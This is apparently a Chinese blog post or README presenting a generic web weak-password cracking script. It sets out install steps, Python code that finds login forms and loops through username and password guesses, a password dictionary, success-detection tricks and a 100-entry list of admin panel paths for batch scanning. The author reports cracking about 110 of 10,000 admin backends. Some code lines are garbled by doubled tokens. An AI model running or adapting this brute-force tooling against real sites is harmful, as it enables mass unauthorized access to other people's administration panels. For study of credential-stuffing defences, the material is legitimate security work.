Web弱口令通用檢測方法探究
注意:本腳本只是探討通用web口令破解的可行性,所有測試請自行搭建靶機環(huán)境或者在拿到目標(biāo)系統(tǒng)相關(guān)授權(quán)后再進行測試。文中所涉及的技術(shù)、思路和工具僅供以安全為目的的學(xué)習(xí)交流使用,任何人不得將其用于非法用途以及盈利等目的,否則后果自行承擔(dān)!
工具介紹
通用的web弱口令破解腳本,旨在批量檢測那些沒有驗證碼的管理后臺。
隨著攻防演練和一些漏洞挖掘任務(wù)的增多,有時候需要大批量快速的檢測一些網(wǎng)站后臺安全性,特別是測試一些管理弱口令,這種難度不大但比較費時費力的工作就需要一個自動化的腳本來完成了。但目前的各種web口令破解工具大多是針對某個cms進行設(shè)計,或者類似burpsuite需要手工配置,沒有見過能通用的破解工具。
因此就有了這個小工具——通用web弱口令破解腳本,配合另一個信息搜集工具
https://github.com/TideSec/FuzzScanner 可以進行批量快速刷分。
安裝使用
安裝使用都比較簡單:
從Github上拖下來
- git clone https://github.com/TideSec/web_pwd_common_crack
安裝requirements.txt依賴
- pip install -r requirements.txt
運行腳本即可
- python web_pwd_crack.py url.txt 50 --> url.txt為待掃描URL地址列表,50為線程數(shù),默認為50
url.txt為待檢測URL地址,可以自己寫個腳本批量從搜索引擎獲取,也可以自己用目錄枚舉工具去搜集。
功能原理
1. 訪問目標(biāo)地址,分析關(guān)鍵字
原理非常low,就是從頁面中提取表單,對表單中的內(nèi)容進行檢索,發(fā)現(xiàn)存在用戶名、密碼、username、pwd、pass之類的字段則認為是登錄頁面,然后提取參數(shù)組成data數(shù)據(jù),發(fā)送給crack函數(shù)進行破解。
由于現(xiàn)在各種網(wǎng)站的請求包的多樣性,目前沒法做到像wvs那樣能提取到所有的登錄post,只是根據(jù)簡單的關(guān)鍵字進行了提取。
- logins =['用戶名','密碼','login','denglu','登錄','user','pass','yonghu','mima','pwd','zhanghao','yonghu','name','email','account']
在測試中還發(fā)現(xiàn)有時候搜索框會干擾結(jié)果,所以把搜索框又進行了排除
- sous = ['檢索','搜','search','查找','keyword','關(guān)鍵字']
另外,目前不支持自動識別驗證碼,所以對驗證碼也進行了排除
- yzms = ['驗證碼','點擊更換','點擊刷新','checkcode','valicode','code','captcha']
2. 通過解析頁面獲取post地址及參數(shù)
- def get_post_get_page(content,url):
- form_action = str(content).split('\n')[0]
- # print form_action
- soup = BS(form_action, "lxml")
- url_path = ''
- for x in re.findall(".*?/",url):
- url_pathurl_path = url_path+x
- action_url = soup.form['action']
- if str(action_url).startswith('http'):
- path = action_url
- else:
- path = url_path+soup.form['action']
- method = soup.form['method']
- return path,method
3. 在獲取相關(guān)參數(shù)和path后調(diào)用破解函數(shù)web_crack進行密碼破解
- def web_crack(method,path,data):
- conn = requests.session()
- res0 = conn.get(path, headers=requests_headers(), allow_redirects=False,timeout=10,proxies = requests_proxies())
- error_length,cookie_error_flag,dynamic_req_len = get_error_length(conn,method,path,data)
- if dynamic_req_len:
- return False,False
- num = 0
- success_flag = 0
- dic_all = len(USERNAME_DIC)*len(PASSWORD_DIC)
- for user_name in USERNAME_DIC:
- for pass_word in PASSWORD_DIC:
- datadata1 = data
- # print data1
- user_nameuser_name = user_name.strip()
- pass_wordpass_word = pass_word.strip()
- pass_word = str(pass_word.replace('{user}', user_name))
- data2 = str(data1.replace('%7Buser_name%7D', user_name))
- data2 = str(data2.replace('%7Bpass_word%7D', pass_word))
- numnum = num+1
- res = conn.post(url = path,data = data2, headers=requests_headers(), timeout=10,verify=False,allow_redirects=False,proxies = requests_proxies())
- cur_length = len(res.content+str(res.headers))
- if cookie_error_flag: # cookie_error_flag表示每個數(shù)據(jù)包中都有cookie
- if cur_length!=error_length:
- success_flag =1
- return user_name,pass_word
- elif 'Set-Cookie' in res.headers and cur_length!=error_length:
- success_flag =1
- return user_name,pass_word
- if success_flag == 0:
- return False,False
配置了一個比較簡單的字典
- USERNAME_DIC = ['admin','guest','test','ceshi','system']
- PASSWORD_DIC = ['123456','admin','password','123123','123','1','{user}','{user}{user}','{user}1','{user}123','{user}2018','{user}2017','{user}2016','{user}2015','{user}!','P@ssw0rd!!','qwa123','12345678','test','123qwe!@#','123456789','123321','1314520','666666','woaini','000000','1234567890','8888888','qwerty','1qaz2wsx','abc123','abc123456','1q2w3e4r','123qwe','a123456','p@ssw0rd','a123456789','woaini1314','qwerasdf','123456a','123456789a','987654321','qwer!@#$','5201314520', 'q123456', '123456abc', '123123123', '123456.','0123456789', 'asd123456', 'aa123456', 'q123456789', '!QAZ@WSX','12345','1234567','passw0rd','admin888']
4. 如何判斷破解成功
目前使用了幾種方式相互結(jié)合的方法來共同驗證。
- 通過返回包里有沒有Set-Cookie;
- 返回數(shù)據(jù)包的長度變化;
- 使用requests.session()進行重驗證;
- 返回頁面的內(nèi)容匹配。
- 優(yōu)化準(zhǔn)確度,加入了recheck函數(shù)
在測試時發(fā)現(xiàn)會出現(xiàn)誤報情況,所以對成功的賬戶密碼進行了重驗證。比如:
- 有些系統(tǒng)在探測多次之后出現(xiàn)封ip之類的情況,這時候會干擾破解腳本的判斷;
- 有些系統(tǒng)在開始的時候沒有驗證碼,但錯誤幾次后會出現(xiàn)驗證碼;
- 有些系統(tǒng)的提示信息會出現(xiàn)隨機的變更,導(dǎo)致誤報。
工作界面
掃描過程如下
掃描成功的結(jié)果會保持在web_crack_ok.txt文件中
掃描中識別到驗證碼、phpmyadmin等所有的日志會保存在web_crack_log.txt文件中,后期可以根據(jù)log日志再進行逐一篩查。
其他說明
其實在完成這個工具后,也開始明白為什么市面上沒有通用的破解器,因為成功率的確不高!我測試過10000個管理后臺,破解出來弱口令的大約110個,有沒有漏報不清楚但基本沒有誤報。
成功率不高主要原因有:
- web頁面類型繁雜,很難準(zhǔn)確獲取并提交正確參數(shù);
- 很多頁面都有驗證碼,目前這個小腳本還沒法自動識別驗證碼;
- 為了平衡時間和效率,使用了比較簡單的用戶名和密碼字典,所以稍微復(fù)雜的密碼就破解不出來了。
我一般會使用dirsearch或之類的目錄枚舉工具,配置一個比較輕便的管理后臺目錄字典,對目標(biāo)地址進行批量掃描管理后臺,然后再使用web_pwd_crack.py對這些后臺地址批量進行弱口令破解。
貢獻一個比較精簡的管理后臺字典(100條)
- admin/default/login.asp
- admin/login.asp
- admin/manage/login.asp
- admin_login/login.asp
- admincp/login.asp
- administrator/login.asp
- login.asp
- manage/login.asp
- manager/login.asp
- member/login.asp
- admin-login.php
- admin/admin-login.php
- admin/admin_login.php
- admin/login.php
- admin2/login.php
- admin_area/login.php
- admin_login.php
- adminarea/login.php
- admincontrol/login.php
- administrator/login.php
- administratorlogin.php
- adminlogin.php
- autologin.php
- bb-admin/login.php
- blog/wp-login.php
- checklogin.php
- login.php
- modelsearch/login.php
- moderator/login.php
- nsw/admin/login.php
- pages/admin/admin-login.php
- panel-administracion/login.php
- processlogin.php
- rcjakar/admin/login.php
- relogin.php
- siteadmin/login.php
- sqlbuddy/login.php
- userlogin.php
- usuarios/login.php
- webadmin/login.php
- wp-login.php
- account/login.jsp
- accounts/login.jsp
- admin/login.jsp
- auth/login.jsp
- jsp/extension/login.jsp
- login.jsp
- member/login.jsp
- members/login.jsp
- portalAppAdmin/login.jsp
- admin.jsp
- netadmin.jsp
- admin.php
- admin.php3
- admin/admin.php
- admin_area/admin.php
- adminarea/admin.php
- authadmin.php
- bb-admin/admin.php
- checkadmin.php
- cmsadmin.php
- dbadmin.php
- fileadmin.php
- isadmin.php
- linusadmin-phpinfo.php
- memberadmin.php
- moadmin.php
- modelsearch/admin.php
- moderator/admin.php
- panel-administracion/admin.php
- phpliteadmin.php
- siteadmin.php
- sysadmin.php
- tmp/admin.php
- ur-admin.php
- user/admin.php
- users/admin.php
- webadmin.php
- webadmin/admin.php
- wp-content/plugins/akismet/admin.php
- admin.asp
- admin.aspx
- admin/default/admin.asp
- admin/manage/admin.asp
- admin_login/admin.asp
- administrator/admin.asp
- article/admin/admin.asp
- denglu/admin.asp
- guanli/admin.asp
- houtai/admin.asp
- login/admin/admin.asp
- manage/admin.asp
- manager/admin.asp
- member/admin.asp
- admin/logon.jsp
- admin/secure/logon.jsp
- compass/logon.jsp
- logon.jsp
- logon/logon.jsp
ToDo
- 驗證碼識別
- 減少誤報率
- 優(yōu)化編碼處理
- 能不那么low